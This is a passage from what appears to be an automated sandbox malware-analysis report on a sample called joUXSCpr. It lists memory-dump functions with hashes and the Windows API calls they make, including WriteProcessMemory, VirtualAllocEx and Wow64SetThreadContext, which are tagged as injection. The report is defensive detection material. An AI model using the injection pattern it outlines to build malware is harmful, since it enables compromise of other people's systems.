Opcode ID: ea33203032c02db4353ca488021aca3044fa25e14a235b2163f155e8d1619aff
Instruction ID: 7143487d9d1d8c530e6b6b0c518d2cd149613e71069f3e452cc16b8c8ad06520
Opcode Fuzzy Hash: ea33203032c02db4353ca488021aca3044fa25e14a235b2163f155e8d1619aff
Instruction Fuzzy Hash: 9C41C170C00719CFEB25CFA9C988BDEBBB6BF49704F60806AD409AB251DB756945CF90

Function 02A35C9D Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02A35D59

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c6fa34485ab7dbbc8251cc0a74ec1c59965e72ce7152b0fef42ac9420479e6b3
Instruction ID: 90c07cffae63447e7ac89e1026bf8e4e6521a02e864e0dcbc04da2fd5a16b028
Opcode Fuzzy Hash: c6fa34485ab7dbbc8251cc0a74ec1c59965e72ce7152b0fef42ac9420479e6b3
Instruction Fuzzy Hash: B941B2B0C00719CFEB25CFA9C988BCEBBB6BF49704F60806AD409AB255DB756945CF50

Function 052DFC60 Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 052DFCFF

Memory Dump Source

Source File: 00000009.00000002.1499454065.00000000052D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52d0000_joUXSCpr.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 781ed9213e5d39f193964e9286d540754056c6b36f200710da45c935ad2191c4
Instruction ID: b996e8f408a4a1da1e5b2a2d040be92bfa35a26c389121f238ca2302ee5ccad9
Opcode Fuzzy Hash: 781ed9213e5d39f193964e9286d540754056c6b36f200710da45c935ad2191c4
Instruction Fuzzy Hash: 6431E4B591024A9FDB10CF9AD984ADEFBF4FF48314F14842AE819A7310D775A540CFA4

Function 052DFC68 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 052DFCFF

Memory Dump Source

Source File: 00000009.00000002.1499454065.00000000052D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52d0000_joUXSCpr.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 491a65a73dc1246aca82ec3af91b7c8528174eefea4e89c73d0e3a40f507b467
Instruction ID: 1d02ea9e86d95d1e9eecd391152a34032772648ef953d9b2e2023ffae1a73ffa
Opcode Fuzzy Hash: 491a65a73dc1246aca82ec3af91b7c8528174eefea4e89c73d0e3a40f507b467
Instruction Fuzzy Hash: 6E21E0B5D1024A9FDB10CF9AD884ADEFBF4BF48320F14842AE819A7310D374A940CFA4

Function 04CB2B18 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04CB2BB0

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: dc7a5f9351f18a5cf64fed611b84bebce3c8a669b436881ba54460a0ba388521
Instruction ID: 2e166d9ff3623d34328130a1b637bfa2fdea23a8897cdd0b267efb927789c1ae
Opcode Fuzzy Hash: dc7a5f9351f18a5cf64fed611b84bebce3c8a669b436881ba54460a0ba388521
Instruction Fuzzy Hash: 502127B69003499FDB10CFA9C885BEEBBF1FF48310F14842AE559A7250C7789945CFA4

Function 04CB2B20 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04CB2BB0

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a89213e6b3b3211f086df1b65a27b38540e245ff5cb258e402da74110ac9202a
Instruction ID: 4b52030dedbe5effa7a77fdce2d2dcaf0135746116597bf656541e87259c00c4
Opcode Fuzzy Hash: a89213e6b3b3211f086df1b65a27b38540e245ff5cb258e402da74110ac9202a
Instruction Fuzzy Hash: BF2139759003499FDB10CFA9C885BEEBBF5FF48310F14842AE959A7240C778A945CBA1

Function 02A3CFB0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02A3D62E,?,?,?,?,?), ref: 02A3D6EF

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3f8cda7dd06a6a5fc6eedf691e936ea27d97b1594d0f8606f445b180a63ee58f
Instruction ID: a539a82ea2a249a1373ad03f62e1bdf565acc3fcba97691be5509f5d6790c83a
Opcode Fuzzy Hash: 3f8cda7dd06a6a5fc6eedf691e936ea27d97b1594d0f8606f445b180a63ee58f
Instruction Fuzzy Hash: 6321E3B5900649DFDB10CFAAD584AEEBBF8FB48310F14845AE918A3350D378A954CFA4

Function 04CB2548 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04CB25CE

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c572c4137cafc4454649f12c11a4988919f925274044fce4a453b5d7beb2e29f
Instruction ID: 7f1bef524e810640e455ef54f6eeb4b350bc7723f000e93f0c59422679d313cb
Opcode Fuzzy Hash: c572c4137cafc4454649f12c11a4988919f925274044fce4a453b5d7beb2e29f
Instruction Fuzzy Hash: 632137B69003098FDB10CFA9C4857EEBBF1AF48314F14842AD559A7240D778AA45CFA1

Function 04CB2550 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04CB25CE

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d1452875ab9681175d0955d6b8502c6fb6e19b8143a992f3f4b4cd62bae60aa4
Instruction ID: 5869f0e721ee6c24ba875063fd46ef23c198b8e71f6a1086b8489321740e2eba
Opcode Fuzzy Hash: d1452875ab9681175d0955d6b8502c6fb6e19b8143a992f3f4b4cd62bae60aa4
Instruction Fuzzy Hash: 3C2127719003098FDB10DFAAC485BEEBBF5EF48314F14C42AD559A7240DB78AA45CFA1

Function 04CB2C08 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04CB2C90

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 59964742a75d776a4500d117c90a224874e4aa93daf0884d13e933b1231fe9fa
Instruction ID: de4ba02a1d2e1207c708176171bbab3ce8b9316690dc45c68383def1e5ca4298
Opcode Fuzzy Hash: 59964742a75d776a4500d117c90a224874e4aa93daf0884d13e933b1231fe9fa
Instruction Fuzzy Hash: 8A2128B68003498FDB10CFA9D885BEEBBF5FF48310F54842AE559A7240C778A941CFA1

Function 04CB2C10 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04CB2C90

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 96aaaa2182a18e91be118418b4ee1da9ddf6027c79886877e76a45a53d035575
Instruction ID: daf2a951bf677560e06f538adf22cc4e45240f71aa020254d09e63e2730b5986
Opcode Fuzzy Hash: 96aaaa2182a18e91be118418b4ee1da9ddf6027c79886877e76a45a53d035575
Instruction Fuzzy Hash: 4E2125B58003499FDB10CFAAC885BEEBBF5FF48310F54842AE559A7240D779A940CBA1

Function 02A3D661 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02A3D62E,?,?,?,?,?), ref: 02A3D6EF

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 21089730ae1667353d38d12dc0c3aa85bcbb449a92d734febaabd02058a2a3f8
Instruction ID: ac09c43efe89e6f856fd6922d95414ef0b7d41e1da103d906841a58f95f046bd
Opcode Fuzzy Hash: 21089730ae1667353d38d12dc0c3aa85bcbb449a92d734febaabd02058a2a3f8
Instruction Fuzzy Hash: 0921E2B5900249DFDB10CFAAD584BEEBBF5FB48314F14846AE918A3350D378A954CF60

Function 04CA2739 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04CA27B3

Memory Dump Source

Source File: 00000009.00000002.1498362413.0000000004CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ca0000_joUXSCpr.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c86a720603924e5ae0888c2954763854e61d0dfeb30f0236c9ed822cf65dc3b5
Instruction ID: 2b1906131397a4fd35ede0757725184d88d6303e21d9666713de9052990349a6
Opcode Fuzzy Hash: c86a720603924e5ae0888c2954763854e61d0dfeb30f0236c9ed822cf65dc3b5
Instruction Fuzzy Hash: 242127B59002499FDB10CFAAC584BDEBBF4BF48310F14846AE458A7250D378A644CFA1

Function 04CA2740 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04CA27B3

Memory Dump Source

Source File: 00000009.00000002.1498362413.0000000004CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ca0000_joUXSCpr.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9a334af522cada9406fba57339ce840127bbcb31553a3dd7c34c42fb54327165
Instruction ID: 16a828e986d9316795a9d312a2665cbe3f73d5d208cfea9cd807dbac8ca97913
Opcode Fuzzy Hash: 9a334af522cada9406fba57339ce840127bbcb31553a3dd7c34c42fb54327165
Instruction Fuzzy Hash: C921D3B59002499FDB10CF9AC584BDEFBF4FB48324F10842AE958A7750D378A644CFA1

Function 02A3AB90 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02A3B459,00000800,00000000,00000000), ref: 02A3B66A

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fd4a6740f9f6f19f4625098ef7479fdcd74dcde8666f0f2ec6c0ecee2bba2ca8
Instruction ID: 1bc809023570de6589bcced309ef9da78b6e7e89a28ab01c7a9413347f1f427f
Opcode Fuzzy Hash: fd4a6740f9f6f19f4625098ef7479fdcd74dcde8666f0f2ec6c0ecee2bba2ca8
Instruction Fuzzy Hash: 6A1123B69047498FDB10CF9AD484BDEFBF5EB48314F10882EE519A7600C779A945CFA4

Function 02A3B5F9 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02A3B459,00000800,00000000,00000000), ref: 02A3B66A

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4a1e11108705ae1530b4bd2c2e161843f2b70321da906ff9e52a8173a498904e
Instruction ID: 69316b5b09715091140ffc6a39d938485c361d550664a1ec956cafbd79236ff3
Opcode Fuzzy Hash: 4a1e11108705ae1530b4bd2c2e161843f2b70321da906ff9e52a8173a498904e
Instruction Fuzzy Hash: 491120B6C003098FDB11CFAAD984BDEFBF5AB48314F14882AE419A7600C778A545CFA4

Function 04CB2498 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04CB2502

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 74627518e46d0bb25d117a3c6d157f89f3147952247b618531f42d6a433d41ec
Instruction ID: 9e3c4aa73fa43c5a816e8266e81afd4ae18dc09cf56f0b9844889e0ab1d24f4b
Opcode Fuzzy Hash: 74627518e46d0bb25d117a3c6d157f89f3147952247b618531f42d6a433d41ec
Instruction Fuzzy Hash: 72116AB58003498FDB10DFAAD4457EEFBF5AF48220F24881AC169A7280C779A644CFA0

Function 04CB24A0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04CB2502

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c776d554def589cbbe1f1f9e03bebe2e9701b09d2e011f2719ceb7f7ac32ea98
Instruction ID: 018443aeede120bf4af40f384522a5ed1f8762b7d209e70636d890408f49201d
Opcode Fuzzy Hash: c776d554def589cbbe1f1f9e03bebe2e9701b09d2e011f2719ceb7f7ac32ea98
Instruction Fuzzy Hash: D4113AB19003498FDB10DFAAC4497EFFBF5EF48214F148419D559A7640C779A544CFA1

Function 02A3B378 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02A3B3DE

Memory Dump Source

Source File: 00000009.00000002.1491610266.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_joUXSCpr.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f94326df43d253b68a54bf8b59be278c2debcdf4d6054f2cd0e31a828c2a1d49
Instruction ID: 08b4131fe4728cb9ca72a78dac2b03d9ecd35a294b3756eb096203db3085710d
Opcode Fuzzy Hash: f94326df43d253b68a54bf8b59be278c2debcdf4d6054f2cd0e31a828c2a1d49
Instruction Fuzzy Hash: FB1110B6C006498FDB10CF9AC444BDEFBF5EF88218F10846AD429A7600C379A545CFA1

Function 04CB45F8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04CB648D

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e8305381c6d804710fe34f989e01858d2e2da2f347e2aaee2f883597d0809d09
Instruction ID: 9d9f526ce6fe8bc893c34173a17d48fd82a2105ec55e10776b159edf9d4ee8ad
Opcode Fuzzy Hash: e8305381c6d804710fe34f989e01858d2e2da2f347e2aaee2f883597d0809d09
Instruction Fuzzy Hash: 971103B59007499FDB10DF9AD485BEEBBF8EB48320F10841AE558A7740D375A944CFA1

Function 04CB6428 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04CB648D

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c7b75e974ed4e40d44987103456e2ea1f705c9035407beb588d49c1107aec3bd
Instruction ID: 9780572c6b98238481f256c707179403486be6e0bbf1f3c5b60badc728afd37c
Opcode Fuzzy Hash: c7b75e974ed4e40d44987103456e2ea1f705c9035407beb588d49c1107aec3bd
Instruction Fuzzy Hash: 471115B9800349CFDB10CF99D585BDEBBF4FB48310F20841AD558A3640C378A544CFA1

Function 04CB2A60 Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04CB2ACE

Memory Dump Source

Source File: 00000009.00000002.1498430698.0000000004CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4cb0000_joUXSCpr.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b5c02a414c1e6f9a6a31fc1e85ae2b163a16cbc0be26f2adfe8408617c9dbbb1
Instruction ID: 39a99990afd4e788f5dd662366b451978ba077e15e9a3bca528687ed5ab72a17
Opcode Fuzzy Hash: b5c02a414c1e6f9a6a31fc1e85ae2b163a16cbc0be26f2adfe8408617c9dbbb1
Instruction Fuzzy Hash: 570135718003499FDB10DFAAC849BEFBFF9EF08314F148419E519A7250C779A540CBA1

Function 0539F0E6 Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

uS[, xrefs: 0539F129

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: uS[
API String ID: 0-1911296808
Opcode ID: fc9b1cb9b518a446c90d3c83c531d03282a77114175ce3d447b04ad62d5b584c
Instruction ID: 81f9938527fd56c3a4e47dde8ac1c1cfd2de1e62eadc1894aba1f79640159d5e
Opcode Fuzzy Hash: fc9b1cb9b518a446c90d3c83c531d03282a77114175ce3d447b04ad62d5b584c
Instruction Fuzzy Hash: 441191F4A0424ACFEF05DFA4D880AECBBBAFB49310F14A215E41ADB349DB709C058B10

Function 0539F09A Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

uS[, xrefs: 0539F129

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: uS[
API String ID: 0-1911296808
Opcode ID: 15e2c63e9af43f399b0818a168fbfc7c85bd3506b524ca80e9af8041b04b2c80
Instruction ID: 983c6d732d971e27c65b2fb4dfd70f1bfd94e37996e11e7d6d9dfb3356992d90
Opcode Fuzzy Hash: 15e2c63e9af43f399b0818a168fbfc7c85bd3506b524ca80e9af8041b04b2c80
Instruction Fuzzy Hash: A401FFB4A1424ECFEB15DFE4D84469CBBBAFB49310F10A215E51AEF748DB70AC058B50

Function 0539F05C Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

uS[, xrefs: 0539F129

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: uS[
API String ID: 0-1911296808
Opcode ID: e1248205332be7e28f17d725719638331219847308e81862a8eeaddb5b31643f
Instruction ID: ea9e79ec4ea78377d31596269da434f9df36d86248cde2cf42ca393a88af6a01
Opcode Fuzzy Hash: e1248205332be7e28f17d725719638331219847308e81862a8eeaddb5b31643f
Instruction Fuzzy Hash: B4F019B4A1434A8FEB05DFA4D894A9CBBBAEB49310F109215E91ADF789DA705C05CB40

Function 05396220 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

un, xrefs: 05396243

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: un
API String ID: 0-3067141278
Opcode ID: d193e4f8929dff1f932c983b1571eccaa0149188ab0a649cb99f4419ece863a8
Instruction ID: 369b053452a6fcd6af048c611ee76babe13f6b02bef8acbdd67c7fddaa4616d8
Opcode Fuzzy Hash: d193e4f8929dff1f932c983b1571eccaa0149188ab0a649cb99f4419ece863a8
Instruction Fuzzy Hash: 8BE0C27028C259ABDF292BA0E823B727B3EE782701F48802AF28186180CE638410C734

Function 05396230 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

un, xrefs: 05396243

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID: un
API String ID: 0-3067141278
Opcode ID: 63f9a9556d2637fd547124829a34a954155accfe04f5dd29990fa3a8554a24f3
Instruction ID: 3848942f180eb7573cab9722aab554d2cf9f19c37ac0f804b769dbb3fcb1b7e8
Opcode Fuzzy Hash: 63f9a9556d2637fd547124829a34a954155accfe04f5dd29990fa3a8554a24f3
Instruction Fuzzy Hash: 0FD05B7034931CEFDF6856D1E417B36766EB785701F14801EF54695584DEB28800C735

Function 05396BA2 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05156fc7eaaa9244b7e67e9fcc144c14d72d2dedbcfa184cf4b06bb4bcae9c7c
Instruction ID: 4ca8ac44a236701e1d178ca0ebdd3d1688fb5bb7c5575a6b958399f9587691e8
Opcode Fuzzy Hash: 05156fc7eaaa9244b7e67e9fcc144c14d72d2dedbcfa184cf4b06bb4bcae9c7c
Instruction Fuzzy Hash: C0715BB5E09218DFEF18CB95D586BADBBB7FF80301F14812AE412AB695CB709C41CB51

Function 05395970 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4548723004dc605aaf1e160bcc8db1b932cbde09ba376af11270e0f16b1a4395
Instruction ID: 95ff69d2c30d17175f1a772ed229d8ced520ed5a1cefbf8a5bb7a199b5dd5692
Opcode Fuzzy Hash: 4548723004dc605aaf1e160bcc8db1b932cbde09ba376af11270e0f16b1a4395
Instruction Fuzzy Hash: 14516C707002018FDB1AEF69C594B6AB7EAAF89314F144169E40ADB3A1DFB5EC41CB91

Function 053915C0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87ce28b6724bc220e203832e55c6b83d01b8bca2fbdcf0c278d4622d5178e9a2
Instruction ID: f41767bff76a5b95e3fa02a4d31fc903277871859ada0dc3957f7caa5830c9eb
Opcode Fuzzy Hash: 87ce28b6724bc220e203832e55c6b83d01b8bca2fbdcf0c278d4622d5178e9a2
Instruction Fuzzy Hash: 72519F71B002099FDF08EFB488107AE7BB6BF89200F248569E445EB385DE39DD41CB95

Function 0539595F Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed321917e57c6b0cc0cbbcc5633a3815988f9f182588446b956479f6c53e2c4
Instruction ID: 27ec12ccc9cdda90d49748f6446de4e784b63dd3d02a00990351d29f7e7bafcb
Opcode Fuzzy Hash: 4ed321917e57c6b0cc0cbbcc5633a3815988f9f182588446b956479f6c53e2c4
Instruction Fuzzy Hash: EE417C707002059FDB1AEF68C584BAAB7FAAF89304F144469E40ADB351DBB5EC41CBA1

Function 053904D0 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaa65ed976ffcd26922fa4abfb2e7fac7f0b4ccb21bddb1a46f5466dddb2e2b8
Instruction ID: a25c38bbeb41aa66c5a854e64fabddc4c179b38c36e8b4050800d72cc9bf9655
Opcode Fuzzy Hash: eaa65ed976ffcd26922fa4abfb2e7fac7f0b4ccb21bddb1a46f5466dddb2e2b8
Instruction Fuzzy Hash: C141DE71704610DFDB2C9A29D948BBAB7E6FB85310F04856EE40A9B241CBB5E846CB91

Function 053982E8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c9c83164ca78e571a91c4d548fead5ffeb214ce7e295e93575ab58f014e43e3
Instruction ID: a7cbd56df9a0ca80565535f11cf705a6789feb04b41c14791f25f23ecf476d37
Opcode Fuzzy Hash: 1c9c83164ca78e571a91c4d548fead5ffeb214ce7e295e93575ab58f014e43e3
Instruction Fuzzy Hash: 2A31ACB4A14255CFCB08CFA9C9806AEFBBAFF86310F94822AE416D7645C375D9418B91

Function 053982F8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1499833846.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5390000_joUXSCpr.jbxd

Similarity

API ID:
String ID:
API String ID:
